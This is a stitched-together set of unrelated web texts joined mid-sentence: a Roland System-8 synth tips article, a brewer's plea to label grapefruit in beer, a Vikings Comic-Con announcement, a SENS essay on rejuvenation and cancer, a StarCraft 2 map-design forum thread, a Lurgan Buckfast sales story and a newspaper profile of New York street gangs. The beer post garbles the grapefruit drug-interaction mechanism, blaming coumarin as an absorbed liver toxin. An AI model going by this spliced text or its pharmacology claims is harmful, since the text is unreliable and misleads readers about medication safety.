Variation 2 This is a dual LFO configured for a classic modulation trick: Increasing and decreasing the speed of the LFO with a second LFO’s sine or triangle wave. Here, the waveform options are the same as Variation 1, with the LFO rate being modulated by a triangle/sine LFO five octaves lower. As a result, increases in LFO rate are applied equally to both, following that relationship. While this mode is certainly exotic and lends itself mostly to sound effects, you should also experiment with it in conjunction with oscillator Color and shape as it’s a lovely timbral effect.
Variation 3 The manual states that this is a pulse waveform with resonance, and that may be one way to achieve the same effect with a modular. But if you set the LFO rate to its minimum, you’ll hear that it is actually a sine wave with its depth modulated by a separate sawtooth. The end result is a repeating burst, or “pulse,” of modulation, with LFO frequency governing the rate of the bursts and the waveform selector determining the speed of the modulation within each burst.
ENVELOPES
The System-8 includes dedicated envelopes for pitch, filter and amp. The pitch envelope is a simple AD affair, which is fine for all but the most esoteric applications. As mentioned above, any of the envelopes can also be applied as a modulator for oscillator 1 and 2’s Color parameter.
Additionally, all three envelopes can be triggered simultaneously from the LFO for creating rhythmic and pulsed effects. This is a feature that SH-101 fans will immediately recognize.
CUSTOMIZE YOUR EFFECTS
Each of the three effects sections includes six types of processing that can be lightly customized using dedicated knobs for Tone, Time and Level. Although the factory assignments for the Tone and Time knobs are thoughtfully implemented, this is one area where a little menu diving will yeild a surprisingly deep degree of customization, and a place where you can further personalize your System-8 patches
To explore the wide range of options available for each effect, press the Menu button, scroll to Patch Effects, press Enter, then use the scroll buttons to move through each parameter set using the value knob to make adjustments. These adjustments can then be saved with your patch, if desired.
The Vocoder also includes a few parameters for fine-tuning formant and consonant behavior that are accessed using a slightly different approach. In this case, begin by pressing the Menu button, then scroll to Patch Effects, press Enter, and then use the scroll buttons to move through the parameter options.
ProTip: While the vocoder mic input is monophonic and uses the left channel exclusively, you can skip the vocoder and use both inputs for instruments or drum machines. This allows the System-8 to double as an audio interface, with the ability to apply the delay and reverb effects to the signal. In fact, if you’re using a second synth in a small live or studio rig, you could run it into the System-8 and skip a secondary mixer.
STEP SEQUENCER
Fig. 4. While the sequencer is ideal for X0X-style note sequences, it can also be used to modulate four front-panel parameters, allowing you to create radical timbral patterns.
The System-8 sequencer is straightforward to use for playing notes, but it’s even better for automating parameters. Use it to control up to four front-panel parameters, including each module’s Variation knob (see Figure 4).
For really powerful animated textures, skip the note-entry and, instead, sequence the Color and filter parameters. Then play the sequences as you perform in real time. Because each sequence is saved as part of a patch, it is a great way to go further with your sound designing than using the LFOs.
CV/GATE INTERFACE
In addition to its audio interface functions, the System-8 is a team player when it comes to working with vintage and modular gear, thanks to its CV/gate outputs. These adhere to the volt-per-octave standard common with Eurorack and Fracrack synths, and they can be configured in a variety of useful ways with a little menu diving.
In addition to simply transmitting voltages from the keyboard in Patch mode, you can also assign them to either side of a split keyboard and save the setup with a specific performance. What’s more, you can send data from the step sequencer to control modular gear, as well as use the System-8 as a MIDI-to-CV converter using MIDI note data from either the USB or DIN input.
KNOW YOUR CONDITION
At the top level of the menu-driven options is a parameter called Condition that simulates the sound of aging analog circuits. Roland isn’t clear about how it works, and there are no definitive Internet discussions on it, but it definitely does something to make the sound more organic in a decidedly analog way.
You can get a better understanding of its effect by selecting a Condition value of either -127 or +127, setting both oscillators to sawtooth with no detuning and equal levels in the mixer, dialing in a filter cutoff of 50% and resonance level of 75%, and making sure there is no velocity modulation on the amp or filter. From there, play the same note over and over, holding it for a while each time. Notice how each repetition sounds slightly different. The result is a simulation of the sound of cycling through a set of decaying voice cards on a 35-year-old synth.
But forget about the emulation aspects of this parameter and explore how it affects patches that you find lifeless or artificial sounding. Dialing in the right amount of Condition is a great way to further personalize the sounds in your System-8.
Producer Francis Prève has been designing synthesizer presets professionally since 2000. You can check out his new soundware company at symplesound.com.TLDR - BIG TAKEAWAY - A quick plea to brewers everywhere - for the love of all of everyone - label if your beer uses grapefruit in it. Turns out there's a chance of it causing some nasty side effects. (Actually for that matter - be kind to everyone and label your beers with anything outside the core four.) Edited to add - Taking feedback from various parts of the community and adjusting language to be less hyperbolic Not that long ago, grapefruit was an American breakfast staple. If you wanted to lose weight there's even an ancient still kicking fad diet centered around a ton of grapefruit and grapefruit juice with every meal. But, sadly sometimes even a good thing can be dangerous when combined with the wrong sorts of other good things. What does this have to do with beer? Some brewers, in an effort to boost those beloved American citrus hop characters, add grapefruit to their beers to create a "wow" aroma and flavor. See Ballast Point's Grapefruit Sculpin as an example. It's amazingly effective and fits seamlessly into the beer spectrum of flavors. But... Grapefruit has a nasty completely unexpected side effect of interfering with a series of liver and intestinal enzymes - chiefly Cytochrome P450 3A4 aka CYP3A4. So? Well, the job of the thing that sounds like a Star Wars droid is to oxidize and neutralize toxins, poisons and drugs. Really, those are the same thing - scary molecules that your body wants to remove from the system. (Remember Paracelsus maxim: "sola dosis facit venenum" or in a non-dead language "The dose makes the poison" Aka - anything, in large enough quantities can be poisonous.) The studies published show that it takes a bunch of grapefruit juice to have truly deleterious side effects, but many patients and doctors prefer to stay on the safe side when you're dealing with things like heart meds. (Denny for instance) For most everything we ingest, this inhibition isn't a big deal, but, for a certain fairly sizeable set of medications, it's downright deadly. Many of these drugs are taken on a regular schedule that's determined by a combination of factors including the time for the body to remove it from the system and reduce it below theraputic thresholds. Aka - your dose is based around the general timing that your body will flush enough of the drug within X hours to remove the effects you want from the drug. Start interfering with the liver's ability to dispose of the chemicals and you throw the time table all out of whack. Suddenly where there should have been little of the medical compound left, you now might be adding another full dose in on top of a high continuing blood level. Since it's the dose that makes the poison, well, you can see the problem. What causes the problem then? Grapefruit contains chemicals related to furanocoumarin. The nasty piece of business in there is the coumarin which is a liver toxin that is used sparingly in some medications and as a vanilla flavoring. Mexican vanilla extract was banned in the US for years out of adulteration concerns when manufacturers started using the much cheaper Tonka bean to boost the vanillin quantities in their extracts. The tonka bean being the source of the name for coumarin (from the French), turns out that it was dosing a fair amount of coumarin into the extract along with vanilla. So coumarin, which is mostly banned in the US as a food additive, enters your blood stream via your grapefruit addition in the beer and starts messing with all those enzymes. Keep taking your meds as a good patient should and suddenly you cross from theraputic into potential lethal blood levels of your meds and then you have issues on top of your issues. For those who are curious Wikipedia lists that there are 85 drugs currently understood to have interactions with grapefruit. Not all through the mechanism above, but mostly in similar fashion the coumarin interferes with enzymes that take up the drugs and cause an inadvertant overdose. NOTE: All of these drugs have listed interactions with grapefruit - doesn't mean they're going to kill you, but that it will mess with the presumed metabolism of the compound in your body. For some drugs that's particularly dangerous (see many heart meds), but for some things like caffeine as long as you not being a he-man macho idiot, you'll be fine. Heck, even with things like everyone's favorite blue pill, you're probably fine too unless you've got heart problems in the mix - but you already knew those drugs have potential consequences for those with heart conditions. What's the Risk?: Presumably, low, but when it comes to some of these interactions people need to extra careful. Treat it like an allergy - annoying but with bad consequences. All we're asking for - help keep Denny alive - label if you're using grapefruit. He's had scares and his heart can't take it. (or something) Heck you should probably label things outside the "core 4" anyway to avoid allergies. Just like the whole thing with, it's not a guaranteed doom and gloom scenario, but your care can help avoid any issues. Here's some of the biggies.
And many people's favorite psychoactive substance - caffeineBreak out your drinking horns, Vikings fans, because you’re about to be very happy.
[UPDATE JULY 6]
HISTORY confirms the return of Vikings to this year’s Comic-Con with a panel including cast and an exclusive look at season 5 footage, a Viking funeral throughout downtown culminating with a longship set ablaze in San Diego Bay, a booth on the convention floor, an exclusive comic book, and last but not least, drinking horns!
The panel is set for Friday, July 21 from 5:45PM-6:45PM in Room 6BCF, and will feature Katheryn Winnick, Gustaf Skarsgard, Alexander Ludwig, Alex Hogh Andersen, and creator/writer Michael Hirst.
Then, in the Gaslamp on Friday, there will be a one-day event to honor Ragnar Lothbrok and other fallen characters who have recently risen to Valhalla. The Vikings funeral will begin with a procession throughout the Gaslamp Quarter in the early afternoon from noon to 5:45PM. The funeral will conclude with a waterfront ceremony beginning at 7PM featuring a floating 45-foot replica Viking long-ship with pyrotechnic display. Cast will be in attendance. Ceremony will be held behind the Convention Center at Embarcadero Marina Park South (200 Marina Park Way).
You can also score a Vikings drinking horn of your own this year. The horns will be given out at the funeral event on Friday at 7PM, and the horns will entitle the wearer to special drink discounts at locations around the Gaslamp. You can follow @HistoryVikings for a complete list of participating locations.
Finally, you can also check out the booth #4215 – and here’s the details on that:
VIKINGS “WARRIOR’S ALLEGIANCE” CONVENTION CENTER BOOTH – July 19-23 – Booth #4215
A new generation of warriors is rising in the Vikings world and fans have the opportunity to be immersed in it by showing off their swordplay in a video booth. Fans will get into character by selecting their weapon of choice and garbing themselves in Viking gear. A time-slice camera array will capture footage of each fan demonstrating their best battle moves with Ragnar’s sons – Bjorn, Ivar the Boneless, Ubbe and Hvitserk. Video will be available to share on social platforms.
Also available to fans while supplies last is a custom “Vikings” limited edition comic book from a story created by Michael Hirst, exclusively for SDCC.
[divider]
From May 17, 2017:
Series star Katheryn Winnick, who plays Lagertha on the HISTORY series, announced on Instagram today that the series is heading back to San Diego Comic-Con – and that you can catch them on Friday, July 21.
[UPDATE]Second Union managed to get a screenshot of it The photo has since been deleted.
Last year included not only a panel with stars Winnick, Travis Fimmel, Clive Standen, Gustaf Skarsgard, and Alexander Ludwig – along with creator Michael Hirst — but also a Vipers Den experience at their booth, where fans could “experience the fear of being surrounded by real snakes in a dark, dank abyss with no immediate escape”.
There are also typically autograph signings and an offsite experience.
Are you excited about Vikings returning to San Diego Comic-Con? Let us know in the comments.A supporter recently asked the SENS Research Foundation staff whether the implementation of rejuvenation therapies that follow the SENS model of damage repair would prevent the development of cancer, since cancer is predominantly an age-related disease. Would rejuvenation alone, without any progress towards a comprehensive and effective cure for cancer, be good enough to hold cancer at bay?
It's certainly a good bet that applying rejuvenation biotechnologies to remove, repair, and replace other kinds of aging damage will in some ways make us less vulnerable to cancer. Notably, ablating senescent cells would eliminate the "senescence-associated secretory phenotype" (SASP), which promotes the growth and invasiveness of cancers in several ways, including stimulating early-stage cancer cells to continue replicating, encouraging the growth of new blood vessels needed by cancer cells to supply themselves with fuel and oxygen, and breaking down the physical barriers that prevent them from metastasizing, which is when most cancers become deadly. Also, rejuvenating the aging immune system (by eliminating the dysfunctional T-cells that accumulate with age and rebuilding the atrophied thymus gland) will restore the body's ability to suss out and eliminate cancers as they emerge. But it's also clear that deploying these other rejuvenation biotechnologies won't be enough to eliminate cancer altogether, and that must be our ultimate goal.
First, we already know that cancers can evolve multiple mechanisms to avoid being hit or destroyed by antibodies and immunological factors, and the longer a person lives with proto-cancerous cells (even in the presence of a healthy, young immune system), the longer those cells have to develop ways to evade such an immune system. This is one of the reasons that cancer is an age-related disease, despite the fact that young people can and do certainly get cancer, and despite the fact that many late-life cancers originate with mutations that arise in the body decades earlier. More importantly, perhaps, there is good reason to worry that otherwise-rejuvenated tissues in a body that is still vulnerable to the core processes of cancer may actually become more vulnerable to cancer than they would be under "aging as usual." Consider the following contrasting scientific findings.
On the one hand, it has been shown in animal experiments that when you transplant a pre-formed cancer into an old host, it usually grows more quickly than the same cancer does when transplanted into a young one. This is as you'd expect from things that make the aged host more vulnerable to cancer: senescent cells make it easier for the implanted cancer to take root and spread, and a flagging immune system is less able to root out the invader. On the other hand, when you infect mice with a virus that can cause new cancers to form, it is actually less likely to happen in an old mouse than in a young one - and the tumors that do form grow more slowly, despite the weakened immune system and burden of senescent cells in the older animal. This strongly suggests that something about biological aging itself eventually makes our tissues less prone to forming cancers.
Consistent with this, consider the phenomenon of people (and mice) with mutations in DNA repair genes that cause them to accumulate mutations more rapidly than the rest of us. These people develop an "old" burden of potentially cancer-causing mutations in a body that is otherwise still young. This would be similar to having an otherwise-rejuvenated body in which the problem of age-associated mutations had not been solved by a specific rejuvenation biotechnology. Such people develop what are often very aggressive cancers at much younger ages than is typical in the general population. This suggests that once the mutations needed to form a cancer take hold, even an otherwise-young body is unable to hold the invasion back. Thus, rejuvenating the body will reduce the risk of some cancers (notably, by reversing immunosenescence, clearing out senes |
528528-2-ftm-siegfried-station http://www.teamliquid.net/forum/sc2-maps/525489-2-ftm-crimson-aftermath http://www.teamliquid.net/forum/sc2-maps/524737-2-ftm-grime
SiskosGoatee Profile Blog Joined May 2012 Albania 1482 Posts #5 On February 04 2013 11:38 Fatam wrote:
What are your thoughts on overlord spots out in the map? (e.g. daybreak which has several) It's completely irrelevant to ZvZ, in ZvZ you will have overlords anywhere anyway. Apart from that, it can be used to make a map a bit more Zerg favoured if need be. If I think Zerg needs a little extra edge on a map I add them, otherwise I leave them out. It's completely irrelevant to ZvZ, in ZvZ you will have overlords anywhere anyway. Apart from that, it can be used to make a map a bit more Zerg favoured if need be. If I think Zerg needs a little extra edge on a map I add them, otherwise I leave them out. WCS Apartheid cometh, all hail the casual audience, death to merit and hard work.
monitor Profile Blog Joined June 2010 United States 2351 Posts #6 Good analysis but I'm don't think that just ZvZ is enough to make every natural the same. Baneling busts suck, but having a variety of naturals is nice (though... I don't really consider any of these examples a 'variety'). Real variety would be cool, like in-bases, half bases, highground nat, tiny chokes, cliffs, etc.
SiskosGoatee Profile Blog Joined May 2012 Albania 1482 Posts Last Edited: 2013-02-04 03:04:39 #7 Well, people did it for PvP to avoid 4gate vs 4gate. In any sense. You can of course do half bases, high ground nats and all that stuff. Most important thing is to:
- Allow overlords to check mineral saturation
- place both hatches close enough to the ramp for creep spread and defensive simcity.
Apart from that you can do a lot without compromising ZvZ. Like, your natural doesn't actually need any amount of chokes for ZvZ.
I mean, if people make every natural forge FE'able without even requiring a nexus wall, surely an overlord watching the mineral line is not too much to ask.
By the way, on metalopolis, you can place an overlord behind 3 spawns, but not the spawn on the right side of the map. Which creates a real positional imbalance in ZvZ. WCS Apartheid cometh, all hail the casual audience, death to merit and hard work.
moskonia Profile Joined January 2011 Israel 1448 Posts #8 Well metalopolis is not longer in the pool or have been in it for quite some time now... So its irrelevant imo.
Anyways I can understand your talk on ZvZ even though I don't actually have almost any experience in it, on PvP I know for sure the only thing you need is a ramp, all other stuff has almost no affect on the 4gate issue. Protoss can't take the natural in any circumstance, unless its an inbase expo,it does not matter how open or choked it is, or other map features, so this topic has very little with PvP.
About the fact that not many people consider this is because for one a mirror "can't be imbalanced", and that many people enjoy ling bling wars. Also you have to remember that while things like a spine that covers both ramp and workers is good for defense, maybe the map maker wants the spine to be weak on this map and prefer you go with queens, more bling or what not.
Of course another reasonable reason is that most map makers are not Zerg player, which is possible since there are not many "professional" map makers.
SiskosGoatee Profile Blog Joined May 2012 Albania 1482 Posts Last Edited: 2013-02-04 04:20:48 #9 On February 04 2013 13:06 moskonia wrote:
Well metalopolis is not longer in the pool or have been in it for quite some time now... So its irrelevant imo.
Anyways I can understand your talk on ZvZ even though I don't actually have almost any experience in it, on PvP I know for sure the only thing you need is a ramp, all other stuff has almost no affect on the 4gate issue. Protoss can't take the natural in any circumstance, unless its an inbase expo,it does not matter how open or choked it is, or other map features, so this topic has very little with PvP.
About the fact that not many people consider this is because for one a mirror "can't be imbalanced", and that many people enjoy ling bling wars. Also you have to remember that while things like a spine that covers both ramp and workers is good for defense, maybe the map maker wants the spine to be weak on this map and prefer you go with queens, more bling or what not.
Well, people gave every map a ramp just for PvP, ZvZ doesn't need a ramp, just a choke, high ground vision actually doesn't matter all that much. ZvZ does need an overlord spot.
While I do agree it can be a stylistic choice. I have the feeling most people actually do not even consider it. Most mapmakers I've spoken with are actually completely oblivious of the theory I outlined above. In no small part because casters and observers are actually terrible at ZvZ and pointing out the thought process of the player. People are completely ignorant when watching ZvZ that both players are trying to check on drone saturation and queens are trying to deny such intel since observers and casters never point this out.
In no small part because:
Well, people gave every map a ramp just for PvP, ZvZ doesn't need a ramp, just a choke, high ground vision actually doesn't matter all that much. ZvZ does need an overlord spot.While I do agree it can be a stylistic choice. I have the feeling most people actually do not even consider it. Most mapmakers I've spoken with are actually completely oblivious of the theory I outlined above. In no small part because casters and observers are actually terrible at ZvZ and pointing out the thought process of the player. People are completely ignorant when watching ZvZ that both players are trying to check on drone saturation and queens are trying to deny such intel since observers and casters never point this out.In no small part because:
Of course another reasonable reason is that most map makers are not Zerg player, which is possible since there are not many "professional" map makers.
Also, due to the above, many Zerg players are also oblivious to the amount of intel you can gain in ZvZ because no one teaches them because casters don't point this out. A friend of mine is a diamond Zerg, she was completely oblivious to this stuff. I just had a 19-1 ZvZ streak and I told her and she was like 'wtf, how can that happen, it's like a complete coinflip' and I argued that it wasn't, she sent me some replays and I noticed she was playing ZvZ in diamond without as much as an overlord behind the natural and no overlords in all the good spots to see things coming, she didn't click on gasses etc. So I told her all these things and with some practice ZvZ became her best matchup.
People just don't consider this because casters don't point it out, they point out all the queues to look for in PvP, TvT and TvZ and what-not but they never point out this stuff in ZvZ so a lot of people actually don't know. I've all inned people because I knew they didn't have an ovie behind my natural with high success rate many times on the ladder. A lot of people just don't know. Also, due to the above, many Zerg players are also oblivious to the amount of intel you can gain in ZvZ because no one teaches them because casters don't point this out. A friend of mine is a diamond Zerg, she was completely oblivious to this stuff. I just had a 19-1 ZvZ streak and I told her and she was like 'wtf, how can that happen, it's like a complete coinflip' and I argued that it wasn't, she sent me some replays and I noticed she was playing ZvZ in diamond without as much as an overlord behind the natural and no overlords in all the good spots to see things coming, she didn't click on gasses etc. So I told her all these things and with some practice ZvZ became her best matchup.People just don't consider this because casters don't point it out, they point out all the queues to look for in PvP, TvT and TvZ and what-not but they never point out this stuff in ZvZ so a lot of people actually don't know. I've all inned people because I knew they didn't have an ovie behind my natural with high success rate many times on the ladder. A lot of people just don't know. WCS Apartheid cometh, all hail the casual audience, death to merit and hard work.
SierraWinter Profile Joined February 2013 United Kingdom 2 Posts Last Edited: 2013-02-04 05:54:30 #10 --- Nuked ---
moskonia Profile Joined January 2011 Israel 1448 Posts #11 WTF Sierra, either a spammer or I don't understand the comment, anyways Siskos, great pointers, maybe u should do some sort of discussion or guide on the matter in the strategy forums? To help Zerg players in general, I am sure many will appreciate it. Also I will now try to look for such matters when I cast ZvZ, as a Protoss players its hard to know things like these when watching other matchups than ones that involve a Protoss.A survey of off licences in the town has revealed that Buckfast, known locally as Lurgan Champagne, accounts for a quarter of sales.
In one local supermarket staff said Buckfast was the second biggest seller behind milk.
At the weekend an internet rumour about the demise of Buckfast tonic wine sent some of the town’s tipplers into a frenzy to get their hands of the last remaining supplies.
Much to the relief of lovers of Buckfast Abbey’s finest, the story was a fake and ‘Buckie’ is still flowing freely in Lurgan and its surrounds.
According to the fanciful story circulating on social media sites, the main winery at Buckfast Abbey had been closed due to shipping and manufacturing costs and there was only about 12 full shipments left to be distributed across the UK and Ireland.
In light of the scare, this week the ‘MAIL’ spoke to local off licences to find out how just how much Buckfast the people of Lurgan consume.
Assistant Manager at Morrow’s Supervalu in Flush Place Jenny McGaffin said: “Buckfast would be our second biggest seller behind milk.”
Last week the off sales were selling Buckfast at two for £11.50. “We run that offer from time to time and it always proves popular here,” said Jenny.
Commenting on the fake story circulating on social media she said: “There would have been a riot here if Buckfast ran out.”
Chris Watson, manager of The International off sales in Castle Lane said: “Buckfast would account for about 25% of our sales. The next biggest seller after that would be Tennent’s.
“We do hampers at Christmas time but, by and large, Buckfast promotes itself.
“Sales are pretty constant with a spike on Fridays, Saturdays and Sundays. We can order it in by the palette without any problem of shifting it.”
Rachelle Banks of the Wine Company in High Street said: “Buckfast would easily account for a quarter of our sales.
“We don’t even have it on display. It stays under the counter in a chiller. I can think of only four customers who don’t like their Buckie chilled.
“Because it’s our biggest seller it’s easier to have it at the counter.”
She added: “You could sell 80 palattes a week between bottles and half bottles. In our Belfast outlets you might only sell two cases a week, so it’s definitely a Lurgan thing.”[Type the text here type the text here]?
THEY prey on high-school students, second-generation immigrants who want protection or a sense of identity.
And they boast on their YouTube and MySpace pages – posting pictures and detailing their exploits.
As New York’s gang population swells to more than 15,000, membership is increasingly Hispanic – spurred by a wave of street toughs from Mexico – and younger.
Gang street crime surged 37 percent between fiscal years 2005 and 2007 – to 713 incidents, from 520 – according to police statistics cited in the Mayor’s 2006-2007 Management Report.
The New York gang problem pales in comparison to Los Angeles, where cops estimate gang membership at 150,000. But the NYPD employs a 240-cop-strong gang unit.
Even so, gangs here are no less violent.
Two fast-growing Dominican groups called Dominicans Don’t Play and the Trinitarios have infiltrated scores of schools in The Bronx, Manhattan and Queens.
Last week, armed members of both gangs opened fired on one another at West 134th Street and Broadway killing a 15-year-old boy and wounding another teen.
Bloods gang member Sean Gordon, angry with a girlfriend, fired three shots into the air in Bushwick on Oct. 9, killing a 16-year-old student who was looking out his apartment window.
A group of Latin Kings go on trial later this year for the torture and murder of a non-gang associate who failed to alert them to a rival’s impending attack. The man was beaten, strangled and set on fire in the Yankee Stadium parking lot.
The Insane Gangsta Crips, an ultra-violent faction in eastern Park Slope, is responsible for at least a dozen homicides and shootings since 2003, cops say.
And a growing gang calling itself Los NiÑos Malos continues to terrorize Sunset Park, Brooklyn, shaking down store owners and fighting rival gangs and one another on the streets – 10 years after one of their members smashed a local teacher’s skull in with a bat.
Meanwhile, bands of Mexicans with names like Vatos Locos, Los Traviesos and Los Vagos have sprung up across the city, fighting off Bloods and Crips, extorting businesses, selling drugs, peddling fake IDs, and fighting one another.
Mexicans were once minor players, overshadowed by the Bloods – the city’s biggest and best-organized gang with 5,300 members – as well as the two largest Hispanic groups, the Latin Kings and -etas, said Lou Savelli, a former sergeant in the NYPD’s gang unit.
“But now they’re becoming more organized, and their numbers are growing,” said Savelli, who runs the Gangs Across America Web site.
“They’re the gangs of the future,” said investigator Bill Sheridan, a Rikers Island gang expert.
A breakdown of Gotham’s most nefarious street gangs and their turfs:
1. CRIPS
Members: 1,700
Ethnicity: Mostly African-American
Origin: Ruthless drug dealers who cashed in during the crack epidemic in the ’80s, the gang is less structured than the Bloods or Latin Kings, though each “set,” or local group, has its own hierarchy. Crips outnumber Bloods nationally; in New York, they have one-third the membership. Started in South Central L.A. in the ’70s; first New York set was in ’93 in Harlem. Its most famous member, Snoop Dogg,says he grew up a Crip in L.A., and one investigator claimed the rapper flashed gang hand signals -“stacks” – on a recent “Tonight Show” appearance.
Turf: East Flatbush, Far Rockaway, Harlem.
Crimes: The gang draws its income from drugs, robbery and gun sales. Convicted killer and Crip hit man Kenneth Simington was arrested in Brooklyn in March after he allegedly fired into a vehicle containing a child following a drug dispute in Pennsylvania.
Rivals: Bloods, Latin Kings, Mexican gangs
Codes: Principles are love, life, loyalty, wisdom, knowledge and understanding. Crips see themselves as “soldiers” and stress unity and rules, such as wearing all colors or “flags” – bandannas, hats and piercings – on the left side. Members must learn hand signs and never share “codes of honor” with outsiders. No one should claim Crip status unless he’s “put in the work” – committed crimes.
Initiation: First five members of a set are “blessed in” with a handshake. Members may be born into it. Newcomers are “loc-ed” in – beaten by six veterans for 60 seconds – then must prove themselves by “drinking milk,” a term for drawing blood from a Blood member by slashing, shooting or beating him.
Colors: Blue and gray
Emblems: Six-pointed star with a “G” for gangster in the middle. A pitchfork or devil’s head equates a gangster’s life with following the devil. Any words in which a “C” replaces a “B,” such as Crooklyn, because of hatred toward Bloods.
Slang: Refer to Bloods as “slobs.” Latin Kings are “clowns.”
2. MS-13 (Mara Salvatrucha)
Members: 100-plus
Ethnicity: Mostly Salvadoran, but also Honduran, Guatemalan, Ecuadoran and Mexican
Origin: It’s been dubbed the most dangerous gang in the U.S. by Newsweek because of its fast-moving spread into 33 states. The FBI has formed a special task force to investigate its activities. Gang members are ultra-violent and bloodthirsty and are known to carry military weapons and booby trap drug stashes. Formed in Los Angeles in the ’80s by former Salvadoran street gang and ex-guerrilla fighters. Name mixes “posse” (mara) with “street-tough Salvadorans” (salvatruchas). The New York gang popped up in Long Island in the mid-1990s.
Turf: Woodhaven, Central Jamaica, Flushing, Rockaways
Crimes: The gang draws its income from extortion, drug- and gun-dealing, car theft and home invasions. Allegedly tied to execution-style slayings of three college students in Newark in August. Nationwide, members have killed three federal agents and gotten into numerous shootings with cops.
Rivals: Bloods, Latin Kings, SWP (Salvadorans with Pride), other Hispanic gangs
Codes: Requires members to commit acts of violence, called “quotas,” after joining a clique. The goal is to enhance the gang’s reputation for ruthlessness. Motto of “Laugh now, cry later” represented by tattoos of theater’s Comedy and Tragedy masks.
Initiation: Attacking a cop. A 13-second “jump-in” – a beating by gang members; gang rape for female applicants. Killing, raping or beating a victim.
Colors: Blue and white – the colors of the Salvadoran flag
Emblems: The number 13, from L.A. area code 213, and “M,”which is the 13th letter of the alphabet.
Slang: Leaders are called “shot callers.”
3. VATOS LOCOS
Members: 100-plus
Ethnicity: Mexican
Origin: Vatos Locos – “Crazy Gangsters” in English – is one of the biggest and most violent Mexican gangs in the country; formed in Los Angeles as part of the emerging group of new Mexican gangs and in recent years has expanded across the U.S.
Turf: Jackson Heights, Manhattan
Crimes: The gang makes money from robbery, extortion, drug sales and fake IDs. In May 2006, two gang members stabbed to death a high-school student in broad daylight on the Upper West Side after asking him if he belonged to the gang and he answered no. On Oct. 15, several gang members were among 41 people nailed for running a massive fake-ID mill in Jackson Heights.
Rivals: Los Vagos and other Mexican gangs
Initiation: Must beat or rob a victim, usually another Mexican. Sometimes inductees are beaten by gang members.
Colors: Red and green.
Emblems: a “VL” tattoo; a vampire or bat wings
Slang: Initiation beatings are called “en salto.” Gangsters are “cholos.”
4. LATIN KINGS (ALMIGHTY LATIN KING AND QUEEN NATION)
Members: 1,900
Ethnicity: Mostly Puerto Rican, but Hispanics of all kinds; some Italians and Portuguese
Origin: The oldest, largest Hispanic gang in New York City, which ruled Rikers in the ’90s, first emerged in Chicago in the ’40s. The New York chapter was formed in ’86 by Cuban native Luis Felipe, known as “King Blood,” at Collins Correctional Facility in the Catskills. Its spiritual leader, Antonio Fernandez (“King Tone”), 40, was deposed as “Supreme Inca,” the title given to the head of the gang, in ’99 after a Manhattan federal jury found him guilty of dealing coke and heroin. Jailed coke dealer Isaac Almanzar is the highest-ranking member in the state.
Turf: Spanish and West Harlem, Bushwick, The Bronx
Crimes: The gang makes money from drug and gun sales, extortion, robbery, credit-card fraud and auto theft. Eleven members ran an extensive crack-dealing business in central Brooklyn for at least two years through 2005.
Rivals: Bloods, Crips, Mexican gangs
Codes: Principles are respect, honesty, unity, knowledge and love. Members must always tell the truth, not spread gossip, never “lust” after another member’s spouse and not engage in gay sex. Jan. 6 is “Kings Holy Day,” a fasting holiday to remember dead members.
Initiation: Newcomers swear loyalty to the gang and vow, “I will die for my brothers, the cause and my nation.” Local groups, or tribes, must conduct “culture classes.”
Colors: Black and gold or yellow
Emblems: Five-pointed crown
Slang: Highest-ranking members are called “Incas” – from the Incan empire of South America.
Below them are “Caciques,” a term for pre-Colombian chiefs. They use a coded language to communicate with each other, and avoid police scrutiny, substituting symbols for letters, such as % for “F” and * for “M” or using a symbolic alphabet in which letters are recast to look like hieroglyphics.
5. THE BLOODS (UNITED BLOOD NATION)
Members: 5,300
Ethnicity: African-American
Origin: New York City’s biggest and best-organized street gang is known to slash victims using razors and scalpels. According to a federal prosecutor, its head is co-founder Omar Portee, 37, a k a “O.G. Mack,” who may still be running the gang from jail. Started in Los Angeles in the ’70s as a Crips offshoot, it was formed as the East Coast Bloods at Rikers in ’93 by Mack and fellow inmate Leonard “Deadeye” McKenzie. Local gangs, called “sets,” include Gangsta Killer Bloods, Nine Trey Side and Sex, Money, Murder.
Turf: Harlem, Washington Hts., Brooklyn, The Bronx, Far Rockaway
Crimes: The gang’s income comes from drug and gun sales, robbery and credit-card fraud. A dozen Bloods terrorized the area around 167th Street and Clay Avenue in The Bronx, selling crack and carrying out armed robberies, beatings and a murder from 1998 to 2005. Members include Sean Gordon, who, angry with a girlfriend, fired three shots into the air in Bushwick on Oct. 9, killing a 16-year-old boy who’d been looking out his apartment window.
Rivals: Crips, Latin Kings, MS-13
Codes: Five central tenets – body, unity, love, lust and soul – and 30 rules of conduct. Must swear allegiance to the Bloods and be willing to “give your life for a Blood.” Being a Blood “comes before anything or anyone” other than immediate family, according to a gang material confiscated by cops. Members should read “revolutionary” books. They must fast on the 31st of each month, as 31 is a key number (30 rules; plus “1,” which stands for “One Love Under Blood”).
Initiation: Those with a Blood relative can be “blessed in,” or voted in. Others can be “jumped in” – beaten by other members for 31 seconds. Women can be “sexed in” – have intercourse with members. Recruits may be required to do a “buck-50,” slice at least a 150-stitch slash across a victim’s face.
Colors: Red and black
Emblems: The dog, as members call |one another “dawg.” Calvin Klein jeans-CK stands for Crip Killer. A letter C with a slash through it.
Slang: Members also call each other “MOB” (Member of Bloods; or Money Over Bitches) “G” (for gangster) or “Damu,” Swahili for Blood. Top members are “O.G.,” or Original Gangsta; new ones are “Young Blood” or “Baby Gangsta.” Victims are “food.” Committing an assault or other crime is “putting in work.” Female Bloods are “red riders.” Crips are “crabs” or “blips.”
6. -ETAS
Members: 700
Ethnicity: Mostly Puerto Rican
Origin: Transforming itself from a prison gang to hard-core drug dealers, the -etas – Ñeta means “new birth” in Taino Indian – formed in Puerto Rico in 1979. In New York, a chapter led by a mysterious female con who called herself “La Madrina” portrayed the gang as an inmates-rights group.
Turf: Southeast Bronx, Brooklyn, upper Manhattan
Crimes: Making its money on drug and gun sales and robberies, the gang’s turf includes the Grand Concourse and southeast sections of The Bronx and all over Brooklyn and upper Manhattan. Several investigations in the last few years have diminished the gang’s power, cops say.
Rivals: Bloods, Crips, DDP, other Hispanic gangs
Codes: They see themselves as warriors, but the gang’s philosophy is based on the symbol of the tree; new seeds must be planted for the gang to grow. There are 25 “norms,” including no gossiping, no cursing and no flashing of private parts. Members must wait for a “green light” from the set leader before committing any violent act. Violators are disciplined with a ritualized beating during the chapter’s monthly meeting.
